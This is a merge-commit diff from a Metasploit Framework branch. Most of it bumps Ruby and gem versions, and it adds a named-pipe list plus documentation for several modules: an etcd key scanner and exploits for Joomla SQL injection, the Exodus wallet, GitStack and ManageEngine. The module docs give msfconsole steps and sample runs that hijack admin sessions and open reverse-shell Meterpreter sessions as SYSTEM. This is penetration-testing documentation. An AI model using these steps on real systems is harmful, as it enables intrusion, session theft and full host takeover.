Merge branch 'goliath' into MS-3062_workspaces

GSoC/Meterpreter_Web_Console
James Barnett 2018-03-30 16:35:26 -05:00
commit 7d58b0a5f4
51 changed files with 1886 additions and 626 deletions

View File

@ -1 +1 @@
2.4.3 2.5.1

View File

@ -11,9 +11,9 @@ addons:
- graphviz - graphviz
language: ruby language: ruby
rvm: rvm:
- '2.2' - '2.3.7'
- '2.3.6' - '2.4.4'
- '2.4.3' - '2.5.1'
env: env:
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"' - CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'

View File

@ -1,4 +1,4 @@
FROM ruby:2.4.3-alpine3.7 FROM ruby:2.5.1-alpine3.7
LABEL maintainer="Rapid7" LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage" ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"

16
Gemfile
View File

@ -19,23 +19,13 @@ group :development do
# module documentation # module documentation
gem 'octokit' gem 'octokit'
# Metasploit::Aggregator external session proxy # Metasploit::Aggregator external session proxy
gem 'metasploit-aggregator' if [ # disabled during 2.5 transition until aggregator is available
'x86-mingw32', 'x64-mingw32', #gem 'metasploit-aggregator'
'x86_64-linux', 'x86-linux',
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
gem 'google-protobuf', "3.5.1" if [
'x86-mingw32', 'x64-mingw32',
'x86_64-linux', 'x86-linux',
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
gem 'grpc', "1.8.3" if [
'x86-mingw32', 'x64-mingw32',
'x86_64-linux', 'x86-linux',
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
end end
group :development, :test do group :development, :test do
# automatically include factories from spec/factories # automatically include factories from spec/factories
gem 'factory_girl_rails' gem 'factory_bot_rails'
# Make rspec output shorter and more useful # Make rspec output shorter and more useful
gem 'fivemat' gem 'fivemat'
# running documentation generation tasks and rspec tasks # running documentation generation tasks and rspec tasks

View File

@ -116,16 +116,16 @@ GEM
coderay (1.1.2) coderay (1.1.2)
concurrent-ruby (1.0.5) concurrent-ruby (1.0.5)
crass (1.0.3) crass (1.0.3)
daemons (1.2.4) daemons (1.2.6)
diff-lcs (1.3) diff-lcs (1.3)
dnsruby (1.60.2) dnsruby (1.60.2)
docile (1.3.0) docile (1.3.0)
erubis (2.7.0) erubis (2.7.0)
eventmachine (1.2.3) eventmachine (1.2.5)
factory_girl (4.9.0) factory_bot (4.8.2)
activesupport (>= 3.0.0) activesupport (>= 3.0.0)
factory_girl_rails (4.9.0) factory_bot_rails (4.8.2)
factory_girl (~> 4.9.0) factory_bot (~> 4.8.2)
railties (>= 3.0.0) railties (>= 3.0.0)
faker (1.8.7) faker (1.8.7)
i18n (>= 0.7) i18n (>= 0.7)
@ -133,49 +133,26 @@ GEM
multipart-post (>= 1.2, < 3) multipart-post (>= 1.2, < 3)
filesize (0.1.1) filesize (0.1.1)
fivemat (1.3.6) fivemat (1.3.6)
google-protobuf (3.5.1)
googleapis-common-protos-types (1.0.1)
google-protobuf (~> 3.0)
googleauth (0.6.2)
faraday (~> 0.12)
jwt (>= 1.4, < 3.0)
logging (~> 2.0)
memoist (~> 0.12)
multi_json (~> 1.11)
os (~> 0.9)
signet (~> 0.7)
grpc (1.8.3)
google-protobuf (~> 3.1)
googleapis-common-protos-types (~> 1.0.0)
googleauth (>= 0.5.1, < 0.7)
hashery (2.1.2) hashery (2.1.2)
i18n (0.9.5) i18n (0.9.5)
concurrent-ruby (~> 1.0) concurrent-ruby (~> 1.0)
jsobfu (0.4.2) jsobfu (0.4.2)
rkelly-remix rkelly-remix
json (2.1.0) json (2.1.0)
jwt (2.1.0)
little-plugger (1.1.4)
logging (2.2.2)
little-plugger (~> 1.1)
multi_json (~> 1.10)
loofah (2.2.2) loofah (2.2.2)
crass (~> 1.0.2) crass (~> 1.0.2)
nokogiri (>= 1.5.9) nokogiri (>= 1.5.9)
memoist (0.16.0)
metasm (1.0.3) metasm (1.0.3)
metasploit-aggregator (1.0.0)
grpc
rex-arch
metasploit-concern (2.0.5) metasploit-concern (2.0.5)
activemodel (~> 4.2.6) activemodel (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
railties (~> 4.2.6) railties (~> 4.2.6)
metasploit-credential (2.0.13) metasploit-credential (3.0.1)
metasploit-concern metasploit-concern
metasploit-model metasploit-model
metasploit_data_models metasploit_data_models (>= 3.0.0)
pg net-ssh
pg (~> 0.15)
railties railties
rex-socket rex-socket
rubyntlm rubyntlm
@ -185,7 +162,7 @@ GEM
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
railties (~> 4.2.6) railties (~> 4.2.6)
metasploit-payloads (1.3.32) metasploit-payloads (1.3.32)
metasploit_data_models (2.0.16) metasploit_data_models (3.0.0)
activerecord (~> 4.2.6) activerecord (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
arel-helpers arel-helpers
@ -201,7 +178,6 @@ GEM
minitest (5.11.3) minitest (5.11.3)
mqtt (0.5.0) mqtt (0.5.0)
msgpack (1.2.4) msgpack (1.2.4)
multi_json (1.13.1)
multipart-post (2.0.0) multipart-post (2.0.0)
nessus_rest (0.1.6) nessus_rest (0.1.6)
net-ssh (4.2.0) net-ssh (4.2.0)
@ -213,7 +189,6 @@ GEM
sawyer (~> 0.8.0, >= 0.5.3) sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.1) openssl-ccm (1.2.1)
openvas-omp (0.0.4) openvas-omp (0.0.4)
os (0.9.6)
packetfu (1.1.13) packetfu (1.1.13)
pcaprub pcaprub
patch_finder (1.0.2) patch_finder (1.0.2)
@ -235,7 +210,7 @@ GEM
method_source (~> 0.9.0) method_source (~> 0.9.0)
public_suffix (3.0.2) public_suffix (3.0.2)
rack (1.6.9) rack (1.6.9)
rack-protection (1.5.3) rack-protection (1.5.5)
rack rack
rack-test (0.6.3) rack-test (0.6.3)
rack (>= 1.0) rack (>= 1.0)
@ -245,8 +220,8 @@ GEM
activesupport (>= 4.2.0, < 5.0) activesupport (>= 4.2.0, < 5.0)
nokogiri (~> 1.6) nokogiri (~> 1.6)
rails-deprecated_sanitizer (>= 1.0.1) rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.0.3) rails-html-sanitizer (1.0.4)
loofah (~> 2.0) loofah (~> 2.2, >= 2.2.2)
railties (4.2.10) railties (4.2.10)
actionpack (= 4.2.10) actionpack (= 4.2.10)
activesupport (= 4.2.10) activesupport (= 4.2.10)
@ -293,7 +268,7 @@ GEM
metasm metasm
rex-core rex-core
rex-text rex-text
rex-socket (0.1.12) rex-socket (0.1.13)
rex-core rex-core
rex-sslscan (0.1.5) rex-sslscan (0.1.5)
rex-core rex-core
@ -338,11 +313,6 @@ GEM
sawyer (0.8.1) sawyer (0.8.1)
addressable (>= 2.3.5, < 2.6) addressable (>= 2.3.5, < 2.6)
faraday (~> 0.8, < 1.0) faraday (~> 0.8, < 1.0)
signet (0.8.1)
addressable (~> 2.3)
faraday (~> 0.9)
jwt (>= 1.5, < 3.0)
multi_json (~> 1.10)
simplecov (0.16.1) simplecov (0.16.1)
docile (~> 1.1) docile (~> 1.1)
json (>= 1.8, < 3) json (>= 1.8, < 3)
@ -354,18 +324,18 @@ GEM
tilt (>= 1.3, < 3) tilt (>= 1.3, < 3)
sqlite3 (1.3.13) sqlite3 (1.3.13)
sshkey (1.9.0) sshkey (1.9.0)
thin (1.7.1) thin (1.7.2)
daemons (~> 1.0, >= 1.0.9) daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4) eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3) rack (>= 1, < 3)
thor (0.20.0) thor (0.20.0)
thread_safe (0.3.6) thread_safe (0.3.6)
tilt (2.0.7) tilt (2.0.8)
timecop (0.9.1) timecop (0.9.1)
ttfunk (1.5.1) ttfunk (1.5.1)
tzinfo (1.2.5) tzinfo (1.2.5)
thread_safe (~> 0.1) thread_safe (~> 0.1)
tzinfo-data (1.2018.3) tzinfo-data (1.2018.4)
tzinfo (>= 1.0.0) tzinfo (>= 1.0.0)
windows_error (0.1.2) windows_error (0.1.2)
xdr (2.0.0) xdr (2.0.0)
@ -378,11 +348,8 @@ PLATFORMS
ruby ruby
DEPENDENCIES DEPENDENCIES
factory_girl_rails factory_bot_rails
fivemat fivemat
google-protobuf (= 3.5.1)
grpc (= 1.8.3)
metasploit-aggregator
metasploit-framework! metasploit-framework!
octokit octokit
pry pry

View File

@ -1,130 +1,135 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.0.2, MIT Ascii85, 1.0.3, MIT
actionpack, 4.2.9, MIT actionpack, 4.2.10, MIT
actionview, 4.2.9, MIT actionview, 4.2.10, MIT
activemodel, 4.2.9, MIT activemodel, 4.2.10, MIT
activerecord, 4.2.9, MIT activerecord, 4.2.10, MIT
activesupport, 4.2.9, MIT activesupport, 4.2.10, MIT
addressable, 2.5.1, "Apache 2.0" addressable, 2.5.2, "Apache 2.0"
afm, 0.2.2, MIT afm, 0.2.2, MIT
arel, 6.0.4, MIT arel, 6.0.4, MIT
arel-helpers, 2.4.0, unknown arel-helpers, 2.6.1, MIT
backports, 3.8.0, MIT backports, 3.11.1, MIT
bcrypt, 3.1.11, MIT bcrypt, 3.1.11, MIT
bindata, 2.4.0, ruby bcrypt_pbkdf, 1.0.0, MIT
bindata, 2.4.3, ruby
bit-struct, 0.16, ruby bit-struct, 0.16, ruby
builder, 3.2.3, MIT builder, 3.2.3, MIT
bundler, 1.15.1, MIT bundler, 1.16.1, MIT
coderay, 1.1.1, MIT coderay, 1.1.2, MIT
concurrent-ruby, 1.0.5, MIT
crass, 1.0.3, MIT
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+" diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.60.1, "Apache 2.0" dnsruby, 1.60.2, "Apache 2.0"
docile, 1.1.5, MIT docile, 1.3.0, MIT
erubis, 2.7.0, MIT erubis, 2.7.0, MIT
factory_girl, 4.8.0, MIT factory_bot, 4.8.2, MIT
factory_girl_rails, 4.8.0, MIT factory_bot_rails, 4.8.2, MIT
faraday, 0.12.1, MIT faker, 1.8.7, MIT
faraday, 0.14.0, MIT
filesize, 0.1.1, MIT filesize, 0.1.1, MIT
fivemat, 1.3.5, MIT fivemat, 1.3.6, MIT
google-protobuf, 3.3.0, "New BSD" google-protobuf, 3.5.1, "New BSD"
googleauth, 0.5.1, "Apache 2.0" googleapis-common-protos-types, 1.0.1, "Apache 2.0"
grpc, 1.4.1, "New BSD" googleauth, 0.6.2, "Apache 2.0"
grpc, 1.8.3, "Apache 2.0"
hashery, 2.1.2, "Simplified BSD" hashery, 2.1.2, "Simplified BSD"
i18n, 0.8.6, MIT i18n, 0.9.5, MIT
jsobfu, 0.4.2, "New BSD" jsobfu, 0.4.2, "New BSD"
json, 2.1.0, ruby json, 2.1.0, ruby
jwt, 1.5.6, MIT jwt, 2.1.0, MIT
little-plugger, 1.1.4, MIT little-plugger, 1.1.4, MIT
logging, 2.2.2, MIT logging, 2.2.2, MIT
loofah, 2.0.3, MIT loofah, 2.2.0, MIT
memoist, 0.16.0, MIT memoist, 0.16.0, MIT
metasm, 1.0.3, LGPL metasm, 1.0.3, LGPL
metasploit-aggregator, 0.2.1, "New BSD" metasploit-aggregator, 1.0.0, "New BSD"
metasploit-concern, 2.0.5, "New BSD" metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 2.0.10, "New BSD" metasploit-credential, 2.0.13, "New BSD"
metasploit-framework, 4.15.0, "New BSD" metasploit-framework, 5.0.0, "New BSD"
metasploit-model, 2.0.4, "New BSD" metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.2.37, "3-clause (or ""modified"") BSD" metasploit-payloads, 1.3.31, "3-clause (or ""modified"") BSD"
metasploit_data_models, 2.0.15, "New BSD" metasploit_data_models, 2.0.16, "New BSD"
metasploit_payloads-mettle, 0.1.10, "3-clause (or ""modified"") BSD" metasploit_payloads-mettle, 0.3.7, "3-clause (or ""modified"") BSD"
method_source, 0.8.2, MIT method_source, 0.9.0, MIT
mini_portile2, 2.2.0, MIT mini_portile2, 2.3.0, MIT
minitest, 5.10.2, MIT minitest, 5.11.3, MIT
msgpack, 1.1.0, "Apache 2.0" mqtt, 0.5.0, MIT
multi_json, 1.12.1, MIT msgpack, 1.2.4, "Apache 2.0"
multi_json, 1.13.1, MIT
multipart-post, 2.0.0, MIT multipart-post, 2.0.0, MIT
nessus_rest, 0.1.6, MIT nessus_rest, 0.1.6, MIT
net-ssh, 4.1.0, MIT net-ssh, 4.2.0, MIT
network_interface, 0.0.1, MIT network_interface, 0.0.2, MIT
nexpose, 6.1.0, BSD nexpose, 7.2.0, BSD
nokogiri, 1.8.0, MIT nokogiri, 1.8.2, MIT
octokit, 4.7.0, MIT octokit, 4.8.0, MIT
openssl-ccm, 1.2.1, MIT openssl-ccm, 1.2.1, MIT
openvas-omp, 0.0.4, MIT openvas-omp, 0.0.4, MIT
os, 0.9.6, MIT os, 0.9.6, MIT
packetfu, 1.1.13, BSD packetfu, 1.1.13, BSD
patch_finder, 1.0.2, "New BSD" patch_finder, 1.0.2, "New BSD"
pcaprub, 0.12.4, LGPL-2.1 pcaprub, 0.12.4, LGPL-2.1
pdf-reader, 2.0.0, MIT pdf-reader, 2.1.0, MIT
pg, 0.20.0, "New BSD" pg, 0.20.0, "New BSD"
pg_array_parser, 0.0.9, unknown pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.0, MIT postgres_ext, 3.0.0, MIT
pry, 0.10.4, MIT pry, 0.11.3, MIT
public_suffix, 2.0.5, MIT public_suffix, 3.0.2, MIT
rack, 1.6.8, MIT rack, 1.6.9, MIT
rack-test, 0.6.3, MIT rack-test, 0.6.3, MIT
rails-deprecated_sanitizer, 1.0.3, MIT rails-deprecated_sanitizer, 1.0.3, MIT
rails-dom-testing, 1.0.8, MIT rails-dom-testing, 1.0.9, MIT
rails-html-sanitizer, 1.0.3, MIT rails-html-sanitizer, 1.0.3, MIT
railties, 4.2.9, MIT railties, 4.2.10, MIT
rake, 12.0.0, MIT rake, 12.3.0, MIT
rb-readline, 0.5.4, BSD rb-readline, 0.5.5, BSD
recog, 2.1.11, unknown recog, 2.1.18, unknown
redcarpet, 3.4.0, MIT redcarpet, 3.4.0, MIT
rex-arch, 0.1.9, "New BSD" rex-arch, 0.1.13, "New BSD"
rex-bin_tools, 0.1.4, "New BSD" rex-bin_tools, 0.1.4, "New BSD"
rex-core, 0.1.11, "New BSD" rex-core, 0.1.13, "New BSD"
rex-encoder, 0.1.4, "New BSD" rex-encoder, 0.1.4, "New BSD"
rex-exploitation, 0.1.15, "New BSD" rex-exploitation, 0.1.17, "New BSD"
rex-java, 0.1.5, "New BSD" rex-java, 0.1.5, "New BSD"
rex-mime, 0.1.5, "New BSD" rex-mime, 0.1.5, "New BSD"
rex-nop, 0.1.1, "New BSD" rex-nop, 0.1.1, "New BSD"
rex-ole, 0.1.6, "New BSD" rex-ole, 0.1.6, "New BSD"
rex-powershell, 0.1.72, "New BSD" rex-powershell, 0.1.77, "New BSD"
rex-random_identifier, 0.1.2, "New BSD" rex-random_identifier, 0.1.4, "New BSD"
rex-registry, 0.1.3, "New BSD" rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD" rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.8, "New BSD" rex-socket, 0.1.10, "New BSD"
rex-sslscan, 0.1.4, "New BSD" rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD" rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.15, "New BSD" rex-text, 0.2.16, "New BSD"
rex-zip, 0.1.3, "New BSD" rex-zip, 0.1.3, "New BSD"
rkelly-remix, 0.0.7, MIT rkelly-remix, 0.0.7, MIT
robots, 0.10.1, MIT rspec, 3.7.0, MIT
rspec, 3.6.0, MIT rspec-core, 3.7.1, MIT
rspec-core, 3.6.0, MIT rspec-expectations, 3.7.0, MIT
rspec-expectations, 3.6.0, MIT rspec-mocks, 3.7.0, MIT
rspec-mocks, 3.6.0, MIT rspec-rails, 3.7.2, MIT
rspec-rails, 3.6.0, MIT
rspec-rerun, 1.1.0, MIT rspec-rerun, 1.1.0, MIT
rspec-support, 3.6.0, MIT rspec-support, 3.7.1, MIT
ruby-macho, 1.1.0, MIT
ruby-rc4, 0.1.5, MIT ruby-rc4, 0.1.5, MIT
ruby_smb, 0.0.18, "New BSD" ruby_smb, 0.0.18, "New BSD"
rubyntlm, 0.6.2, MIT rubyntlm, 0.6.2, MIT
rubyzip, 1.2.1, "Simplified BSD" rubyzip, 1.2.1, "Simplified BSD"
sawyer, 0.8.1, MIT sawyer, 0.8.1, MIT
signet, 0.7.3, "Apache 2.0" signet, 0.8.1, "Apache 2.0"
simplecov, 0.14.1, MIT simplecov, 0.16.0, MIT
simplecov-html, 0.10.1, MIT simplecov-html, 0.10.2, MIT
slop, 3.6.0, MIT
sqlite3, 1.3.13, "New BSD" sqlite3, 1.3.13, "New BSD"
sshkey, 1.9.0, MIT sshkey, 1.9.0, MIT
thor, 0.19.4, MIT thor, 0.20.0, MIT
thread_safe, 0.3.6, "Apache 2.0" thread_safe, 0.3.6, "Apache 2.0"
timecop, 0.9.1, MIT timecop, 0.9.1, MIT
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0" ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.3, MIT tzinfo, 1.2.5, MIT
tzinfo-data, 1.2017.2, MIT tzinfo-data, 1.2018.3, MIT
windows_error, 0.1.2, BSD windows_error, 0.1.2, BSD
xdr, 2.0.0, "Apache 2.0" xdr, 2.0.0, "Apache 2.0"
xmlrpc, 0.3.0, ruby xmlrpc, 0.3.0, ruby
yard, 0.9.9, MIT yard, 0.9.12, MIT

View File

@ -0,0 +1,25 @@
netlogon
lsarpc
samr
browser
atsvc
DAV RPC SERVICE
epmapper
eventlog
InitShutdown
keysvc
lsass
LSM_API_service
ntsvcs
plugplay
protected_storage
router
SapiServerPipeS-1-5-5-0-70123
scerpc
srvsvc
tapsrv
trkwks
W32TIME_ALT
wkssvc
PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
db2remotecmd

Binary file not shown.

View File

@ -21,6 +21,11 @@ To be able to use auxiliary/admin/smb/ms17_010_command:
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules. You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
If you're having trouble configuring an anonymous named pipe,
Microsoft's
[documentation](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously)
on the topic may be helpful.
## Verification Steps ## Verification Steps
At the minimum, you should be able use psexec to get a session with a valid credential using the following: At the minimum, you should be able use psexec to get a session with a valid credential using the following:

View File

@ -0,0 +1,108 @@
## Vulnerable Application
etcd is a distributed reliable key-value store, which when used in an open and default configuration gives
unauthenticated users access to the data stored via HTTP API.
### Centos 7.1
1. `yum install etcd`
2. `vi /etc/etcd/etcd.conf` replace (and uncomment) items with `localhost` for your IP.
3. `systemctl start etcd; systemctl enable etcd`
4. On Centos 7.1 you need to mod (or disable) the firewall: `systemctl stop firewalld`
5. Lastly, lets add a key-value for interest: `curl http://[IP]:2379/v2/keys/supersecret -XPUT -d value="password!"`
### Docker
1. `docker run -p 2379:2379 miguelgrinberg/easy-etcd`
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use auxiliary/scanner/etcd/open_key_scanner```
4. Do: ```set rhosts [IPs]```
5. Do: ```run```
6. You should get a JSON response, and the data saved to `loot`.
## Scenarios
### etcd 3.2.15 on CentOS 7.1
```
msf5 > use auxiliary/scanner/etcd/open_key_scanner
msf5 auxiliary(scanner/etcd/open_key_scanner) > set rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
[+] 2.2.2.2:2379
Version: {"etcdserver":"3.2.15","etcdcluster":"3.2.0"}
Data: {
"action": "get",
"node": {
"dir": true,
"nodes": [
{
"key": "/supersecret",
"value": "password",
"modifiedIndex": 6,
"createdIndex": 6
}
]
}
}
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
2.2.2.2 etcd.data etcd.keys text/plain etcd keys /root/.msf4/loot/20180325144351_default_2.2.2.2_etcd.data_425280.txt
msf5 auxiliary(scanner/etcd/open_key_scanner) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
2.2.2.2 2379 tcp etcd open {"etcdserver":"3.2.15","etcdcluster":"3.2.0"}
```
### etcd in Docker
```
msf5 > use auxiliary/scanner/etcd/open_key_scanner
msf5 auxiliary(scanner/etcd/open_key_scanner) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/etcd/open_key_scanner) > run
[+] 127.0.0.1:2379
Version: {"etcdserver":"3.1.3","etcdcluster":"3.1.0"}
Data: {
"action": "get",
"node": {
"dir": true
}
}
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/etcd/open_key_scanner) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
127.0.0.1 etcd.data etcd.keys text/json etcd keys /root/.msf4/loot/20180328092245_default_127.0.0.1_etcd.data_260058.txt
msf5 auxiliary(scanner/etcd/open_key_scanner) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
127.0.0.1 2379 tcp etcd open {"etcdserver":"3.1.3","etcdcluster":"3.1.0"}
```

View File

@ -0,0 +1,45 @@
## Vulnerable Application
This module exploits a SQL Injection vulnerability in the `com_fields` component which was introduced to the core of Joomla in version 3.7.0.
With the SQLi, it's possible to enumerate cookies of Administrator and Super User users, and hijack one of their sessions. If no Super User is authenticated, the RCE portion will not work. If a session hijack is available, one of the website templates is identified, and our payload is added to the template as a new file, and then executed.
## Verification
1. Start msfconsole
2. Do: `use exploit/unix/webapp/joomla_comfields_sqli_rce`
3. Do: `set rhost [ip]`
4. Do: `set tageturi [uri]`
5. Do: `exploit`
6. Get a shell
## Scenarios
### Joomla 3.7.0 on Windows 7 SP1 with Super User authenticated
```
msf5 exploit(unix/webapp/joomla_comfields_sqli_rce) > run
[*] Started reverse TCP handler on 172.22.222.138:4444
[*] 172.22.222.122:80 - Retrieved table prefix [ unqi0 ]
[*] 172.22.222.122:80 - Retrieved cookie [ ejn9i2c5srk6gchhai4cikdkm3 ]
[*] 172.22.222.122:80 - Retrieved unauthenticated cookie [ 33effe3d96e4c5e749f33b9d639ca36b ]
[+] 172.22.222.122:80 - Successfully authenticated
[*] 172.22.222.122:80 - Creating file [ zM8ZvIAAwxE.php ]
[*] 172.22.222.122:80 - Following redirect to [ /joomlatest/administrator/index.php?option=com_templates&view=template&id=503&file=L3pNOFp2SUFBd3hFLnBocA%3D%3D ]
[*] 172.22.222.122:80 - Token [ df2760a9614efc2566917148ee379c42 ] retrieved
[*] 172.22.222.122:80 - Template path [ /templates/beez3/ ] retrieved
[*] 172.22.222.122:80 - Insert payload into file [ zM8ZvIAAwxE.php ]
[*] 172.22.222.122:80 - Payload data inserted into [ zM8ZvIAAwxE.php ]
[*] 172.22.222.122:80 - Executing payload
[*] Sending stage (37543 bytes) to 172.22.222.122
[+] Deleted zM8ZvIAAwxE.php
meterpreter > getuid
Server username: SYSTEM (0)
meterpreter > sysinfo
Computer : WIN-V438RLMESAE
OS : Windows NT WIN-V438RLMESAE 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) AMD64
Meterpreter : php/windows
meterpreter >
```

View File

@ -0,0 +1,47 @@
## Description
This module exploits an Electron remote code execution vulnerability in Exodus wallet. Using the Electron remote code execution vulnerability in protocol handler is possible to inject command line arguments via URI handler. This module has been tested successfully on Windows 10 Enterprise x64. The vulnerable application is available for download at [Exodus v1.38.0](https://github.com/DanielRTeixeira/Exodus/raw/master/exodus-windows-x64-1.38.0.exe).
## Verification Steps
1. Install Exodus Wallet version `v1.38.0`
2. Start `msfconsole`
3. Do `use exploit/windows/browser/exodus`
4. Do `set PAYLOAD windows/meterpreter/reverse_tcp`
5. Do `set LHOST ip`
6. Do `exploit`
7. On the target machine, browse to the malicious URL and launch Exodus
8. Verify the Meterpreter session is opened
## Scenarios
### Exodus Wallet v1.38.0 on Windows 10 Enterprise x64
```
msf > use exploit/windows/browser/exodus
msf exploit(windows/browser/exodus) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(windows/browser/exodus) > set LHOST 172.16.40.5
LHOST => 172.16.40.5
msf exploit(windows/browser/exodus) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 172.16.40.5:4444
[*] Using URL: http://0.0.0.0:80/
msf exploit(windows/browser/exodus) > [*] Local IP: http://172.16.40.5:80/
[*] Server started.
[*] 172.16.40.149 exodus - Delivering Payload
[*] Sending stage (179779 bytes) to 172.16.40.149
[*] Meterpreter session 1 opened (172.16.40.5:4444 -> 172.16.40.149:49726) at 2018-02-23 15:40:17 +0000
msf exploit(windows/browser/exodus) > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-PI8214R
OS : Windows 10 (Build 10586).
Architecture : x64
System Language : pt_PT
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```

View File

@ -0,0 +1,68 @@
## Description
An unauthenticated remote code execution vulnerability exists in GitStack through v2.3.10. This
module exploits the vulnerability by sending unauthenticated REST API requests to put the
application in a vulnerable state, if needed, before sending a request to trigger the exploit.
These configuration changes are undone before the module exits. The module has been tested on
GitStack v2.3.10.
## Vulnerable Application
In vulnerable versions of GitStack, a flaw in `Authentication.class.php` allows [unauthenticated remote code execution](https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html) since `$_SERVER['PHP_AUTH_PW']` is passed directly to an `exec` function.
To exploit the vulnerability, the repository web interface must be enabled, a repository must
exist, and a user must have access to the repository.
Note: A passwd file should be created by GitStack for local user accounts.
Default location: `C:\GitStack\data\passwdfile`.
## Verification Steps
* Install a vulnerable GitStack application
* `./msfconsole`
* `use exploit/windows/http/gitstack_rce`
* `set rhost <rhost>`
* `set verbose true`
8 `run`
Note: You may have to run the exploit multiple times since the powershell that is generate has to
be under a certain size.
## Scenarios
### GitStack v2.3.10 on Windows 7 SP1
```
msf5 > use exploit/windows/http/gitstack_rce
msf5 exploit(windows/http/gitstack_rce) > set rhost 172.22.222.122
rhost => 172.22.222.122
msf5 exploit(windows/http/gitstack_rce) > set verbose true
verbose => true
msf5 exploit(windows/http/gitstack_rce) > run
[*] Started reverse TCP handler on 172.22.222.131:4444
[*] Powershell command length: 6103
[-] Web interface is disabled
[-] No repositories found
[+] Web interface successfully enabled
[+] The repository has been successfully created
[+] Created user: ZROTE
[+] User ZROTE added to EsILm
[*] Sending stage (252483 bytes) to 172.22.222.122
[+] ZROTE removed from EsILm
[+] ZROTE has been deleted
[+] Web interface successfully disabled
[+] EsILm has been deleted
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-V438RLMESAE
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter >
```

View File

@ -0,0 +1,46 @@
exploit/windows/http/manageengine_appmanager_exec.md## Vulnerable Application
This module exploits command injection vulnerability in the ManageEngine Applications Manager product. An unauthenticated user can execute a operating system command under the context of privileged user. Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessing given system. This endpoint calls a several internal classes and then executes powershell script without validating user supplied parameter when the given system is OfficeSharePointServer.
**Vulnerable Application Installation Steps**
Go to following website and download Windows version of the product. It comes with built-in Java and Postgresql so you don't need to install anything else.
[http://archives.manageengine.com/applications_manager/13630/](http://archives.manageengine.com/applications_manager/13630/)
## Verification Steps
A successful check of the exploit will look like this:
* Start `msfconsole`
* `use exploit/windows/http/manageengine_appmanager_exec`
* Set `RHOST <RHOST>`
* Set `PAYLOAD windows/meterpreter/reverse_tcp`
* Set `LHOST <LHOST>`
* Run `check`
* **Verify** that you are seeing `The target is vulnerable.` in console.
* Run `exploit`
* **Verify** that you are seeing `Triggering the vulnerability` in console.
* **Verify** that you are seeing `Sending stage to <TARGET>` in console.
* **Verify** that you have your shell.
## Demo
```
msf5 >
msf5 > use exploit/windows/http/manageengine_appmanager_exec
msf5 exploit(windows/http/manageengine_appmanager_exec) > set RHOST 12.0.0.192
RHOST => 12.0.0.192
msf5 exploit(windows/http/manageengine_appmanager_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/manageengine_appmanager_exec) > set LHOST 12.0.0.1
LHOST => 12.0.0.1
msf5 exploit(windows/http/manageengine_appmanager_exec) > check
[+] 12.0.0.192:9090 The target is vulnerable.
msf5 exploit(windows/http/manageengine_appmanager_exec) > run
[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Trigerring the vulnerability
[*] Sending stage (179779 bytes) to 12.0.0.192
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

View File

